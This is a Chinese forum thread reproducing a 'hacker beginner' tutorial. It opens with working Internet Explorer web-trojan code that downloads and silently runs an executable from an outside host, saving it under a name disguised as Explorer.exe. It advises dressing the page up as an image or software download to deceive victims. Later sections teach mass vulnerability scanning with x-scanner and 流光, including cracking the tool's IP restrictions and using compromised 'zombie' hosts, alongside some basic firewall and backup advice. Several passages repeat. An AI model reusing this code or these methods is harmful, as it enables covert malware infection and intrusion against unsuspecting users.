//可以更好的躲过免费主页空间的上传限制
var url ='http://www.godog.y365.com/wodemuma/icyfox.bat';
try{
var folder=document.location.href;
folder=folder.substring(6, folder.indexOf('\\\\',9)+1)+name;
var xml=new ActiveXObject("Microsoft.XMLHTTP");
xml.open("GET",url,false);
xml.send();
if(xml.status==200){
var ado=new ActiveXObject("ADODB.Stream");
ado.Type=1;
ado.Open();
ado.write(xml.responseBody);
ado.SaveToFile(folder,2);
ado.Close();
ado=null;
}
xml=null;
document.body.insertAdjacentHTML('AfterBegin','<OBJECT
style="display:none;" TYPE="application/x-oleobject"
CODEBASE="'+folder+'"></OBJECT>');
}
catch(e){}

}

icyfox();
```

把上面的的代码保存为 icyfox.js 替换上面保存的 icyfox.js 文件，同样利用上面的 icyfox.htm 来注入到“我的电脑”域中，呵呵你就偷这乐吧！

最后还请大家发挥以下 DIY 的能力把上面两种代码合二为一，我相信一个现阶段最最完美的 IE 网页木马就会在你手中诞生啦！是不是神不知鬼不觉？

提示代码如下：

```
try{new ActiveXObject("ADODB.Stream");icyfox();}catch(e){icyfoxloveface();}
```



接下来我们就要利用一个小小跨域执行漏洞，来获得“我的电脑”域的网页权限，大家以前是不是和我一样觉得这种漏洞仅仅只能用来进行跨站脚本攻击，得到COOKIE之类的东东呢？这次它终于可以露脸啦！代码如下：

```
<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<TITLE>冰狐浪子网络技术实验室的完美 I E 网页木马 </TITLE>
</HEAD>
<BODY oncontextmenu="return false" onselectstart="return false" scroll="no"
topmargin="0" leftmargin="0">
<SCRIPT LANGUAGE="icyfoxlovelace"
src='http://www.godog.y365.com/wodemuma/icyfox.ba' "></SCRIPT>
<SCRIPT LANGUAGE="javascript">
//此处设置上面 icyfox.js 文件的网络地址
//请把 http://www.godog.y365.com/wodemuma/icyfox.js 改为你的 icyfox.js 文件实际上传地址
jsurl='http://www.godog.y365.com/wodemuma/icyfox.js'.replace(/\\/g, '/');
WIE=navigator.appVersion;
if(WIE.indexOf("MSIE 5.0")>-1){
/*IE 5.0利用 iframe 标签,src属性设为 icyfox://会使此标签具备“我的电脑”域的权限
原因是因为 icyfox://是不存在的协议，所以 IE 会利用 res://协议打开 SHDOCLC.DLL 中的
语法错误页 syntax.htm, 而且 SHDOCLC.DLL 又位于系统目录中，为在 icyfox.js 中得到 W
I N D O W S 系统目录和系统盘提供数据；*/
document.write("<iframe style='display:none;' name='icyfoxlovelace'
src='icyfox://'></iframe>");
setTimeout("muma0()",1000);
}
else {
/*IE5.5 IE6.0则利用 _search 漏洞，把打开的地址设为 icyfox://, 从而使 _search 搜索
框具备“我的电脑”域的权限，因为在 IE6.0 中无法用上面的 iframe 漏洞，IE5.5 应该可以
，我没有测试。这样做的结果会打开搜索栏，有点遗憾！*/
window.open("icyfox://", "_search");
setTimeout("muma1()",1000);
}

//下面利用 file:javascript 协议漏洞在已是我的电脑”域的权限的“icyfox://"中插入
icyfox.js 脚本并运行
function muma0(){
window.open('file:javascript:document.all.tags('SCRIPT')[0].src="'+jsurl+'');
```

## 黑客入门 (超级详细版)

```
eval();","icyfoxlovelace");
}

function muma1(){
window.open('file:javascript:document.all.tags('SCRIPT')[0].src="'+jsurl+"';
eval();","_search");}
</SCRIPT>
</BODY>
<NOSCRIPT><iframe style="display:none;" src='*.*'></iframe></NOSCRIPT>
</HTML>
```

把上面的代码保存为 icyfox.htm,如果你愿意可以把扩展名改为 jpg并在网页中加入一张精美的图片背景,来做一个图片木马,甚至你可以改为 exe,来冒充一个好的程序的下载地址,并在网页的 <HEAD></HEAD>中加入标签 <meta http-equiv="refresh" content="5;url='http://www.godog.y365.com/winrar.exe'">来定时转到另一个真正的程序下载地址,从而更好的欺骗别人。

看到上面的东东是不是让你有了马上去实验的冲动,别急,如果你觉得 win98没必要控制的话,还有更好的木马等着你,不知大家是否用过 win2000 winxp等系统中默认安装的 ADODB.Stream及 Microsoft.XMLHTTP控件?它们可是和 shell.application控件一样是经过了安全认证的,可以在“我的电脑”域中的网页中畅通无阻执行的好东西呀!请看下面的代码:

```
function icyfox(){
//设置下载后保存在系统目录下的木马程序名,我设的是不是很象 Explorer.exe呀?呵呵
var name="Explroer.exe";
//设置你要下载的木马程序的地址(此处你可以把扩展名任意改,甚至没有扩展名也可以的)
//可以更好的躲过免费主页空间的上传限制
var url='http://www.godog.y365.com/wodemuma/icyfox.bat';
try{
var folder=document.location.href;
folder=folder.substring(6,folder.indexOf('\\',9)+1)+name;
var xml=new ActiveXObject("Microsoft.XMLHTTP");
xml.open("GET",url,false);
xml.send();
if(xml.status==200){
var ado=new ActiveXObject("ADODB.Stream");
ado.Type=1;
ado.Open();
ado.write(xml.responseBody);
ado.SaveToFile(folder,2);
ado.Close();
```

## 黑客入门 (超级详细版)

```
ado=null;
}
xml=null;
document.body.insertAdjacentHTML('AfterBegin','<OBJECT
style="display:none;" TYPE="application/x-oleobject"
CODEBASE="'+folder+'"></OBJECT>');
}
catch(e){}

}

icyfox();
```

把上面的代码保存为 icyfox.js 替换上面保存的 icyfox.js 文件，同样利用上面的 icyfox.htm 来注入到“我的电脑”域中，呵呵你就偷这乐吧！

最后还请大家发挥以下 DIY 的能力把上面两种代码合二为一，我相信一个现阶段最最完美的 IE 网页木马就会在你手中诞生啦！是不是神不知鬼不觉？

提示代码如下：

```
try{new ActiveXObject("ADODB.Stream");icyfox();}catch(e){icyfoxlovelace();}
```

### 如何防范黑客

黑客对服务器进行扫描是轻而易举的，一旦找到了服务器存在的问题，那么后果将是严重的。这就是说作为网络管理员应该采取不要的手段防止黑客对服务器进行扫描，本节我将谈谈如何才能让自己的服务器免遭黑客扫描。

#### 一、防范黑客心得体会：

##### 1 屏蔽可以 IP 地址：

这种方式见效最快，一旦网络管理员发现了可疑的 IP 地址申请，可以通过防火墙屏蔽相对的 IP 地址，这样黑客就无法在连接到服务器上了。但是这种方法有很多缺点，例如很多黑客都使用的动态 IP，也就是说他们的 IP 地址会变化，一个地址被屏蔽，只要更换其他 IP 仍然可以进攻服务器，而且高级黑客有可能会伪造 IP 地址，屏蔽的也许是正常用户的地址。

##### 2 过滤信息包：

通过编写防火墙规则，可以让系统知道什么样的信息包可以进入、什么样的应该放弃，如此一来，当黑客发送有攻击性信息包的时候，在经过防火墙时，信息就会被丢弃掉，从而防止了黑客的进攻。但是这种做法仍然有它不足的地方，例如黑客可以改变攻击性代码的形态，让防火墙分辨不出信息包的真假；或者黑客干脆无休止的、大量的发送信息包，知道服务器不堪重负而造成系统崩溃。

##### 3 修改系统协议：

对于漏洞扫描，系统管理员可以修改服务器的相应协议，例如漏洞扫描是根据对文件的申请

返回值对文件存在进行判断的，这个数值如果是 200则表示文件存在于服务器上，如果是 404则表示服务器没有找到相应的文件，但是管理员如果修改了返回数值、或者屏蔽 404数值，那么漏洞扫描器就毫无用处了。

### 4 经常升级系统版本：

任何一个版本的系统发布之后，在短时间内都不会受到攻击，一旦其中的问题暴露出来，黑客就会蜂拥而至。因此管理员在维护系统的时候，可以经常浏览著名的安全站点，找到系统的新版本或者补丁程序进行安装，这样就可以保证系统中的漏洞在没有被黑客发现之前，就已经修补上了，从而保证了服务器的安全。

### 5 及时备份重要数据：

亡羊补牢，如果数据备份及时，即便系统遭到黑客进攻，也可以在短时间内修复，挽回不必要的经济损失。想国外很多商务网站，都会在每天晚上对系统数据进行备份，在第二天清晨，无论系统是否收到攻击，都会重新恢复数据，保证每天系统中的数据库都不会出现损坏。数据的备份最好放在其他电脑或者驱动器上，这样黑客进入服务器之后，破坏的数据只是一部分，因为无法找到数据的备份，对于服务器的损失也不会太严重。

然而一旦受到黑客攻击，管理员不要只设法恢复损坏的数据，还要及时分析黑客的来源和攻击方法，尽快修补被黑客利用的漏洞，然后检查系统中是否被黑客安装了木马、蠕虫或者被黑客开放了某些管理员账号，尽量将黑客留下的各种蛛丝马迹和后门分析清除、清除干净，防止黑客的下一次攻击。

### 6 使用加密机制传输数据：

对于个人信用卡、密码等重要数据，在客户端与服务器之间的传送，应该先经过加密处理再进行发送，这样做的目的是防止黑客监听、截获。对于现在网络上流行的各种加密机制，都已经出现了不同的破解方法，因此在加密的选择上应该寻找破解困难的，例如 DES加密方法，这是一套没有逆向破解的加密算法，因此黑客的到了这种加密处理后的文件时，只能采取暴力破解法。个人用户只要选择了一个优秀的密码，那么黑客的破解工作将会在无休止的尝试后终止。

## 二、防火墙使用说明：

### 1. 什么是防火墙？

防火墙的英文叫做 firewall，它能够在网络与电脑之间建立一道监控屏障，保护在防火墙内部的系统不受网络黑客的攻击。逻辑上讲，防火墙既是信息分离器、限制器，也是信息分析器，它可以有效地对局域网和 Internet之间的任何活动进行监控，从而保证局域网内部的安全。

网络上最著名的软件防火墙是 LockDown2000，这套软件需要经过注册才能获得完整版本，它的功能强大，小到保护个人上网用户、大到维护商务网站的运作，它都能出色的做出惊人的表现。但因为软件的注册需要一定费用，所以对个人用户来说还是选择一款免费的防火墙更现实。天网防火墙在这里就更加适合个人用户的需要了，天网防火墙个人版是一套给个人电脑使用的网络安全程序，它能够抵挡网络入侵和攻击，防止信息泄露。

### 2 天网防火墙的基本功能：

天网防火墙个人版把网络分为本地网和互联网，可以针对来自不同网络的信息，来设置不同的安全方案，以下所述的问题都是针对互联网而言的，故所有的设置都是在互联网安全级别中完成的。怎样防止信息泄露？如果把文件共享向互联网开放，而且又不设定密码，那么别人就可以轻松的通过互联网看到您机器中的文件，如果您还允许共享可写，那别人甚至可

以删除文件。你可以在个人防火墙的互联网安全级别设置中，将NETBIOS关闭，这样别人就不能通过INTERNET访问你的共享资源了（这种设置不会影响你在局域网中的资源共享）。当拨号用户上网获得了分配到的IP地址之后，可以通过天网防火墙将ICMP关闭，这样黑客用PING的方法就无法确定使用者的系统是否处于上网状态，无法直接通过IP地址获得使用系统的信息了。

需要指出的是：防火墙拦截的信息并不完全是攻击信息，它记录的只是系统在安全设置中所拒绝接收的数据包。在某些情况下，系统可能会收到一些正常但又被拦截的数据包，例如某些路由器会定时发出一些ICMP包等；或有些主机会定时PING出数据到本地系统确认连接仍在维持着，这个时候如果利用防火墙将ICMP和ICMP屏蔽了，就会在安全记录中见到这些被拦截的数据包，因此这些拦截下来的数据包并不一定是黑客对系统进行攻击造成的。

### 3 使用防火墙的益处：

使用防火墙可以保护脆弱的服务，通过过滤不安全的服务，Firewall可以极大地提高网络的安全和减少子网中主机的风险。例如，Firewall可以禁止NIS、NFS服务通过，同时可以拒绝路由和ICMP重定向封包。

另外防火墙可以控制对系统的访问权限，例如某些企业允许从外部访问企业内部的某些系统，而禁止访问另外的系统，通过防火墙对这些允许共享的系统进行设置，还可以设定内部系统只访问外部特定的Mail Server和Web Server，保护企业内部信息的安全。

### 4 防火墙的种类：

防火墙总体上分为包过滤、应用级网关和代理服务器等三种类型：

#### （1）数据包过滤

数据包过滤(Packet Filtering)技术是在网络层对数据包进行选择，选择的依据是系统内设置的过滤逻辑，被称为访问控制表(Access Control Table)。通过检查数据流中每个数据包的源地址、目的地址、所用的端口号、协议状态等因素，或它们的组合来确定是否允许该数据包通过。数据包过滤防火墙逻辑简单，价格便宜，易于安装和使用，网络性能和透明性好，它通常安装在路由器上。路由器是内部网络与Internet连接必不可少的设备，因此在原有网络上增加这样的防火墙几乎不需要任何额外的费用。

数据包过滤防火墙的缺点有二：一是非法访问一旦突破防火墙，即可对主机上的软件和配置漏洞进行攻击；二是数据包的源地址、目的地址以及IP的端口号都在数据包的头部，很有可能被窃听或假冒。

#### （2）应用级网关

应用级网关(Application Level Gateways)是在网络应用层上建立协议过滤和转发功能。它针对特定的网络应用服务协议使用指定的数据过滤逻辑，并在过滤的同时，对数据包进行必要的分析、登记和统计，形成报告。实际中的应用网关通常安装在专用工作站系统上。数据包过滤和应用网关防火墙有一个共同的特点，就是它们仅仅依靠特定的逻辑判定是否允许数据包通过。一旦满足逻辑，则防火墙内外的计算机系统建立直接联系，防火墙外部的用户便有可能直接了解防火墙内部的网络结构和运行状态，这有利于实施非法访问和攻击。

#### （3）代理服务

代理服务(Proxy Service)也称链路级网关或TCP通道(Circuit Level Gateways or TCP Tunnels)，也有人将它归于应用级网关一类。它是针对数据包过滤和应用网关技术存在的缺点而引入的防火墙技术，其特点是将所有跨越防火墙的网络通信链路分为两段。防火墙内外计算机系统间应用层的“链接”，由两个终止代理服务器上的“链接”来实现，外部计算机的

网络链路只能到达代理服务器，从而起到了隔离防火墙内外计算机系统的作用。此外，代理服务也对过往的数据包进行分析、注册登记，形成报告，同时当发现被攻击迹象时会向网络管理员发出警报，并保留攻击痕迹。

### 扫描器的使用

这里我使用 x-scanner 作为介绍对象，原因是 x-scanner 集成了多种扫描功能于一身，它可以采用多线程方式对指定 IP 地址段（或独立 IP 地址）进行安全漏洞扫描，提供了图形界面和命令行两种操作方式，扫描内容包括：标准端口状态及端口 banner 信息、CG 漏洞、RPC 漏洞、SQL-SERVER 默认帐户、FTP 弱口令，NT 主机共享信息、用户信息、组信息、NT 主机弱口令用户等。扫描结果保存在 /log/ 目录中，index\_\*.htm 为扫描结果索引文件。对于一些已知的 CG 和 RPC 漏洞，x-scanner 给出了相应的漏洞描述、利用程序及解决方案，节省了查找漏洞介绍的时间。

首先 x-scanner 包括了两个运行程序：xscann.exe 和 xscan\_gui.exe，这两个程序分别是扫描器的控制台版本和窗口版本，作为初学者可能更容易接受窗口版本的扫描软件，因为毕竟初学者使用最多的还是“应用程序”，无论运行那一个版本，他们的功能都是一样的。首先让我们运行窗口版本看看：窗口分为左右两部分，左面是进行扫描的类型，这包括前面提到的漏洞扫描、端口扫描等基本内容；另一部分是有关扫描范围的设定，xscanner 可以支持对多个 IP 地址的扫描，也就是说使用者可以利用 xscanner 成批扫描多个 IP 地址，例如在 IP 地址范围内输入 211.100.8.1-211.100.8.255 就会扫描整个 C 类的 255 台服务器（如果存在的话），这样黑客可以针对某一个漏洞进行搜索，找到大范围内所有存在某个漏洞的服务器。当然如果只输入一个 IP 地址，扫描程序将针对单独 IP 进行扫描。

剩下的端口设定在前面已经介绍过，一般对于网站服务器，这个端口选取 80 或者 8080，对于某些特殊的服务器也许还有特殊的端口号，那需要通过端口扫描进行寻找。多线程扫描是这个扫描器的一大特色，所谓多线程就是说同时在本地系统开辟多个 socket 连接，在同一时间内扫描多个服务器，这样做的好处是提高了扫描速度，节省时间，根据系统的资源配置高低，线程数字也可以自行设定（设定太高容易造成系统崩溃）。

在图形界面下我们看到了程序连接地址“.\xscan.exe”，这实际上就是 xscanner 的控制台程序，也就是说图形窗口只是将控制台扫描器的有关参数设置做了“傻瓜化”处理，程序运行真正执行的还是控制台程序。因此学习控制台是黑客所必需的，而且使用控制台模式的程序也是真正黑客喜爱的操作方式。

现在我们进行一个简单的 cg 漏洞扫描，这次演练是在控制台模式下进行的：

```
211.100.8.87 -port
```

这个命令的意思是让 xscanner 扫描服务器 211.100.8.87 的开放端口，扫描器不会对 65535 个端口全部进行扫描（太慢），它只会检测网络上最常用的几百个端口，而且每一个端口对应的网络服务在扫描器中都已经做过定义，从最后返回的结果很容易了解服务器运行了什么网络服务。扫描结果显示如下：

```
Initialize dynamic library succeed.
Scanning 211.100.8.87 .....
[211.100.8.87]: Scanning port state ...
```

```
[211.100.8.87]: Port 21 is listening!!!  
[211.100.8.87]: Port 25 is listening!!!  
[211.100.8.87]: Port 53 is listening!!!  
[211.100.8.87]: Port 79 is listening!!!  
[211.100.8.87]: Port 80 is listening!!!  
[211.100.8.87]: Port 110 is listening!!!  
[211.100.8.87]: Port 3389 is listening!!!  
[211.100.8.87]: Port scan completed, found 7.  
[211.100.8.87]: All done.
```

这个结果还会同时在 log 目录下生成一个 html 文档，阅读文档可以了解开放的端口对应的服务项目。从结果中看到，这台服务器开放了七个端口，主要有 2 端口用于文件传输、80 端口用于网页浏览、还有 110 端口用于 pop3 电子邮件，如此一来，我们就可以进行有关服务的漏洞扫描了。（关于端口的详细解释会在后续给出）

然后可以使用浏览看看这个服务器到底是做什么的，通过浏览发现原来这是一家报社的电子版面，这样黑客可以继续对服务器进行漏洞扫描查找服务器上是否存在 perl 漏洞，之后进行进一步进攻。

漏洞扫描的道理和端口扫描基本上类似，例如我们可以通过扫描器查找 61.135.50. 到 61.135.50.255 这 255 台服务器上所有开放了 80 端口的服务器上是否存在漏洞，并且找到存在什么漏洞，则可以使用 xscan 61.135.50.1-61.135.50.255 -cg 进行扫描，因为结果比较多，通过控制台很难阅读，这个时候 xscanner 会在 log 下生成多个 html 的中文说明，进行阅读这些文档比较方便。

## 二、扫描器使用问题：

载使用漏洞扫描器的过程中，学习者可能会经常遇到一些问题，这里给出有关问题产生的原因和解决办法。扫描器的使用并不是真正黑客生涯的开始，但它是学习黑客的基础，所以学习者应该多加练习，熟练掌握手中使用的扫描器，了解扫描器的工作原理和问题的解决办法。

### 1. 为什么我找不到扫描器报告的漏洞？

扫描器报告服务器上存在某个存在漏洞的文件，是发送一个 GET 请求并接收服务器返回值来判断文件是否存在，这个返回值在 HTTP 的协议中有详细的说明，一般情况下“200”是文件存在，而“404”是没有找到文件，所以造成上面现象的具体原因就暴露出来了。

造成这个问题的原因可能有两种：第一种可能性是您的扫描器版本比较低，扫描器本身存在“千年虫”问题，对于返回的信息扫描器在判断的时候，会错误的以为时间信息 2000 年 x 月 x 日中的 200 是“文件存在”标志，这样就会造成误报；

另外一种可能性是服务器本身对“文件不存在”返回的头部信息进行了更改，如果 GET 申请的文件不存在，服务器会自动指向一个“没有找到页面”的文档，所以无论文件是否存在，都不会将“404”返回，而是仍然返回成功信息，这样做是为了迷惑漏洞扫描器，让攻击者不能真正判断究竟那个漏洞存在于服务器上。

这一问题的解决办法也要分情况讨论，一般说来第一种情况比较容易解决，直接升级漏洞扫描器就可以了，对于第二种情况需要使用者对网络比较熟悉，有能力的话可以自己编写一个漏洞扫描器，自己编写的扫描器可以针对返回文件的大小进行判断，这样就可以真正确定文件是否存在，但这种方法对使用者的能力要求较高。

## 2 我使用的扫描器速度和网络速度有关系嘛？

关系不大。扫描器发送和接收的信息都很小，就算是同时发送上百个GET请求一般的电话上网用户也完全可以做得到，影响扫描器速度的主要因素是服务器的应答速度，这取决于被扫描服务器的系统运行速度。如果使用者希望提高自己的扫描速度，可以使用支持多线程的扫描器，但是因为使用者本地电脑档次问题，也不可能将线程设置到上百个，那样的话会造成本地系统瘫痪，一般使用30个线程左右比较合适。

另外对于很多网络服务器来说，为了防止黑客的扫描行为，可能会在防火墙上设置同一IP单位时间GET申请数量，这样做目的就是避免黑客的扫描和攻击，所以在提高本地扫描速度之前，应该先确认服务器没有相应的过滤功能之后再使用。

## 3 扫描器报告给我的漏洞无法利用是什么原因？

确切地说扫描器报告的不是“找到的漏洞”，而是找到了一个可能存在漏洞的文件，各种网络应用程序都可能存在漏洞，但是在更新版本的过程中，老版本的漏洞会被修补上，被扫描器找到的文件应该经过手工操作确认其是否是存在漏洞的版本，这可以通过阅读网络安全网站的“安全公告”获得相应知识。

对于已经修补上漏洞的文件来说，也不它一定不再存有漏洞，而只能说在一定程度上没有漏洞了，也许在明天，这个新版本的文件中又会被发现还存在其他漏洞，因此这需要网络安全爱好者时刻关注安全公告。当然如果攻击者或者网络管理员对编程比较熟悉，也可以自己阅读程序并力图自己找到可能的安全隐患，很多世界著名的黑客都是不依靠他人，而是自己寻找漏洞进行攻击的。

## 4 扫描器版本比较新，然而却从来没有找到过漏洞是什么原因？

有一些扫描器专门设计了“等待时间”，经过设置可以对等待返回信息的时间进行调整，这就是说在“网络连接超时”的情况下，扫描器不会傻傻的一直等待下去。但如果你的网络速度比较慢，有可能造成扫描器没有来得及接收返回信息就被认为“超时”而越了过去继续下面的扫描，这样当然是什么也找不到啦。

如果问题真的如此，可以将等待时间设置的长一些，或者换个ISP拨号连接。

## 5 扫描器报告服务器没有提供HTTP服务？

网络上大多数HTTP服务器和漏洞扫描器的默认端口都是80，而有少量的HTTP服务器并不是使用80端口提供服务的，在确认服务器的确开通了网站服务的情况下，可以用端口扫描器察看一下对方究竟使用什么端口进行的HTTP服务，网络上常见的端口还有8080和81。

另外这种情况还有一种可能性，也许是使用者对扫描器的参数设置不正确造成的，很多扫描器的功能不仅仅是漏洞扫描，有可能还提供了rpc扫描、ftp默认口令扫描和NT弱口令扫描等多种功能，因此在使用每一款扫描器之前，都应该自己阅读有关的帮助说明，确保问题不是出在自己身上。

## 6 扫描器使用过程中突然停止响应是什么原因？

扫描器停止响应是很正常的，有可能是因为使用者连接的线程过多，本地系统资源不足而造成系统瘫痪、也可能是因为对方服务器的响应比较慢，依次发送出去请求被同时反送回来而造成信息阻塞、还有可能是服务器安装了比较恶毒的防火墙，一旦察觉有人扫描就发送特殊的数据报回来造成系统瘫痪.....

因此扫描器停止响应不能简单的说是为什么，也没有一个比较全面的解决方案，不过一般情况下遇到这种问题，我建议你可以更换其他扫描器、扫描另外一些服务器试试，如果问题还是没有解决，就可能是因为扫描器与你所使用的系统不兼容造成的，大多数基于微软视窗的漏



洞扫描器都是运行在Windows9X下的，如果是Win2000或者NT也有可能造成扫描器无法正常工作。

7 下载回来的扫描器里面怎么没有可执行文件？

扫描器不一定非要是可执行的 exe文件，其他例如 perl、cg 脚本语言也可以编写扫描器，因此没有可执行文件的扫描器也许是运行在网络服务器上的，这种扫描器可以被植入到网络的其它系统中，不需要使用者上网就能够 24小时不停的进行大面积地址扫描，并将结果整理、分析，最后通过 Email 发送到指定的电子信箱中，因此这是一种比较高级的扫描器，初学者不适合使用。

另外注意载下在扫描器的时候注意压缩报文件的扩展名，如果是 tar为扩展名，那么这个扫描器是运行在 Linux系统下的，这种其它操作平台的扫描器无法在视窗平台下应用，文件格式也和 FAT32不一样。

8 扫描器只报告漏洞名称，不报告具体文件怎么办？

只要漏洞被发现，网络安全组织即会为漏洞命名，因此漏洞名称对应的文件在相当广泛的范围内都是统一的，只要知道了漏洞的名称，黑客就可以通过专门的漏洞搜索引擎进行查找，并且学习到与找到漏洞相关的详细信息。这种“漏洞搜索引擎”在网络上非常多，例如我国“绿盟”提供的全中文漏洞搜索引擎就是比较理想的一个。

## 黑客之“名词介绍”

1.肉鸡，或者留了后门，可以被我们远程操控的机器，现在许多人把有WEBSHELL权限的机器也叫肉鸡。

2 木马：特洛伊木马，大家在电影《特洛伊》里应该看到了，战争是特洛伊故意留下了个马，多方以为是战利品，带回城后，木马里面全是战士，这种东西，就叫做木马，可以说木马就是一方给肉鸡留下的东西，可以做到远程控制的目的，木马还分不同的作用，有盗号专用的木马，有远程控制专用的木马，下面介绍点：盗号专用的有许多，盗QQ的有 啊拉QQ大盗，强强盗QQ，传奇木马生成器，魔兽木马生成器等；远程控制的木马有：冰河 (国人的骄傲，中国第一款木马)，灰鸽子，PCshare，网络神偷，FLUX等，现在通过线程插入技术的木马也有很多，大家自己找找吧。

3 病毒：这个我想不用解释了吧，相信大家都和它打过交道，病毒大多具有破坏性，传播，隐秘性，潜伏性。

4 后门：这个就是入侵后为方便我们下次进入肉鸡方便点所留下的东西，亲切的称为后门，现在好点的后门有REDMAIN等。

5 CRACK: 这个名词很容易和HACK混淆，但是许多人不理解CRACK这个东西，但是接触过软件破解的人一定了解这个词 CRACKER分析下就是软件破解者的意思 (注意这里有多了个ER) 许多共享软件就是我们的CRACKER来完成破解的，就是现在俗称的XX软件破解版。

6 漏洞：这个名词相信也不用太多的介绍，根据字面意思也可以理解，就好象一个房子，很结实，可是有个窗户却不好，这就很可能造成被别人进入，入侵是也是相对的，必须要有漏洞才可以入侵，这里顺便介绍下打补丁的意思，还是用上面的例子门很结实，可窗户不好，这里我们需要把窗户补上，就叫打补丁了，许多人问过我怎样知道自己的机器有漏洞？怎样打补丁？这里也回答下，首先介绍怎样检查自己奇迹有什么样的漏洞，有款工具简称为

## 黑客入门 (超级详细版)

MBSA是微软公司针对 windows系统的安全检测工具，大家可以去网上找到自己下下来检测下自己机器有什么样的漏洞，还介绍下微软的漏洞名称 MS05-001 MS05-002 这种形式的前面 MS应为是微软的意思吧，05呢是 2005年，001是在 2005年第一个漏洞 (不知道解释的对不，自己的理解 )大家还可以下个金山毒霸，金山可以有个漏洞检测功能，还可以帮你补上相应的丁，那么怎么打补丁呢 ?其实这个很简单，在微软的官方网站里可以输入 MS05-001 (如果你有这个漏洞的话 )微软就找出了响应的补丁，下载下来 安装下其实就可以了，呵呵，打补丁也不是什么困难的事情哦。

7 端口：这个是入侵是很重要的一个环节，端口这个东西就好象是我要买东西，需要在 1号窗口来结帐，而开放的 1号窗口就好比响应的端口，端口可以形象的比喻成窗口，呵呵，不同的端口开放了不同的服务，大家可以在网上找到端口对照表来看下不同的端口开放的是什么服务。

8 权限：这个东西和人权一个效果，我们有自己的权利，但是我们的权利不能超出自己的围，比如法律可以控制人的生命，这种最高权限呢就是计算机中的 Admin权限 最高权限，法官呢是执行法律的人，比法律底点，这个呢就是 SYSTEM权限，系统权限，以下每种人有着自己不同的权限，比如我们得到了个WEBSHELL权限，许多人不知道这个是什么权限，其实就是个WEB(网业 )的管理权限，权限一般比较低，但是有时想得到个服务器的 ADMIN权限，就可以先从WEBSHELL权限来入手，也就是长说的提权。

顶端 回复 引用

分享

only\_guest

耶稣

级别：论坛版主

作者资料发送短消息加为好友 UID: 114381

精华：32

发帖：462

威望：-12 点

黑豆：106 颗

贡献值：0 点

红豆：-50 颗

在线时间：7(小时)

注册时间：2007-10-23

最后登录：2009-02-24 25楼 发表于：2007-12-17 20:31 只看该作者 | 小 中 大

黑客利器流光使用技巧

流光这款软件除了能够像 X-Scar 那样扫描众多漏洞、弱口令外，还集成了常用的入侵工具，如字典工具、NT/ISS 工具等，还独创了能够控制“肉鸡”进行扫描的“流光 Sensor 工具”和为“肉鸡”安装服务的“种植者”工具。

与 X-Scar 相比，流光的功能多一些，但操作起来难免繁杂。由于流光的功能过于强大，而且功能还在不断扩充中，因此流光的作者小榕限制了流光所能扫描的 IP 范围，不允许流光扫描国内 IP 地址，而且流光测试版在功能上也有一定的限制。但是，入侵者为了能够最大限度地使用流光，在使用流光之前，都需要用专门的破解程序对流光进行破解，去除 IP 范围和功能上的限制。

安装与打补丁完成后，打开流光，界面如图所示。

实例：使用流光高级扫描功能检测 210. . . 210. . . 253 网段主机的系统缺陷

步骤一：打开高级扫描向导、设置扫描参数。

在流光 4.7 主界面下，通过选择“文件 (F)” “高级扫描向导 (W)” 或使用快捷键“Ctrl+W” 打开高级扫描向导。在“起始地址”和“结束地址”分别填入目标网段主机的开始和结束 IP 地址；在“目标系统”中选择预检测的操作系统类型；在“获取主机名”、“PIN 检查”前面打钩；在“检测项目”中，选择“全选”；选好后如图所示。

然后单击“下一步 (N)”按钮，在图中选中“标准端口扫描”。

说明：

“标准端口扫描”：只对常见的端口进行扫描。

“自定义端口扫描范围”：自定义端口范围进行扫描。

然后单击“下一步 (N)”按钮，在图中进行设置。

设置好所有检测项目后，然后单击“下一步 (N)”按钮来到图界面，选择“本地主机”，表示使用本机执行扫描任务。

步骤二：开始扫描。

在图 1-69 中单击“开始 (S)”按钮进行扫描。在扫描过程中，如果想要停止，通过单击最下角的“取消”按钮来实现，不过需要相当一段时间才能真正地停止，所以建议一次不要扫描太大的网段，如果因扫描时间过长而等不及，这时候再想让流光停下来是不容易的。

步骤三：查看扫描报告。

扫描结束后，流光会自动打开 HTML 格式的扫描报告，如图所示。

需要指出的是，在扫描完成后，流光不仅把扫描结果整理成报告文件，而且还把可利用的主机列在流光界面的最下方，如图所示。

单击主机列表中的主机便可以直接对目标主机进行连接操作，如图所示。

除了使用“高级扫描向导”配置高级扫描外，还可以直接选取高级扫描工具，如图所示。

打开“高级扫描设置”，其界面如图所示。

关于流光的使用就介绍到这里，本节中所介绍的只是流光功能的一小部分，其他一些功能会在以后的实例中逐一介绍。流光扫描器自身的设置是比较复杂的，有很多选项可以自由设置，因而也给使用者更大的发挥空间，可以根据网络和机器的状况来尝试改变这些设置，提高扫描器的性能，而且流光中还有详细的FAQ问题解答。

设置好所有检测项目后，然后单击“下一步 (N)”按钮来到图界面，选择“本地主机”，表示使用本机执行扫描任务。

步骤二：开始扫描。

在图 1-69 中单击“开始 (S)”按钮进行扫描。在扫描过程中，如果想要停止，通过单击最下角的“取消”按钮来实现，不过需要相当一段时间才能真正地停止，所以建议一次不要扫描太大的网段，如果因扫描时间过长而等不及，这时候再想让流光停下来是不容易的。

步骤三：查看扫描报告。

扫描结束后，流光会自动打开 HTML 格式的扫描报告，如图所示。

需要指出的是，在扫描完成后，流光不仅把扫描结果整理成报告文件，而且还把可利用的主机列在流光界面的最下方，如图所示。

单击主机列表中的主机便可以直接对目标主机进行连接操作，如图所示。

除了使用“高级扫描向导”配置高级扫描外，还可以直接选取高级扫描工具，如图所示。

## 黑客入门 (超级详细版 )

打开 “ 高级扫描设置 ” ，其界面如图所示。

关于流光的使用就介绍到这里，本节中所介绍的只是流光功能的一小部分，其他一些功能会在以后的实例中逐一介绍。流光扫描器自身的设置是比较复杂的，有很多选项可以自由设置，因而也给使用者更大的发挥空间，可以根据网络和机器的状况来尝试改变这些设置，提高扫描器的性能，而且流光中还有详细的 FAQ 问题解答。

顶端 回复 引用

分享

only\_guest

耶稣

级别：论坛版主

作者资料发送短消息加为好友 UID: 114381

精华： 32

发帖： 462

威望： -12 点

黑豆： 106 颗

贡献值： 0 点

红豆： -50 颗

在线时间： 7(小时 )

注册时间： 2007-10-23

最后登录： 2009-02-24 26楼 发表于： 2007-12-17 20:33 只看该作者 | 小 中 大

第三章：菜鸟黑客需知 (不一定要懂 ,但你先要知道 )

黑客新手基础知识 16问答

问：什么是网络安全？

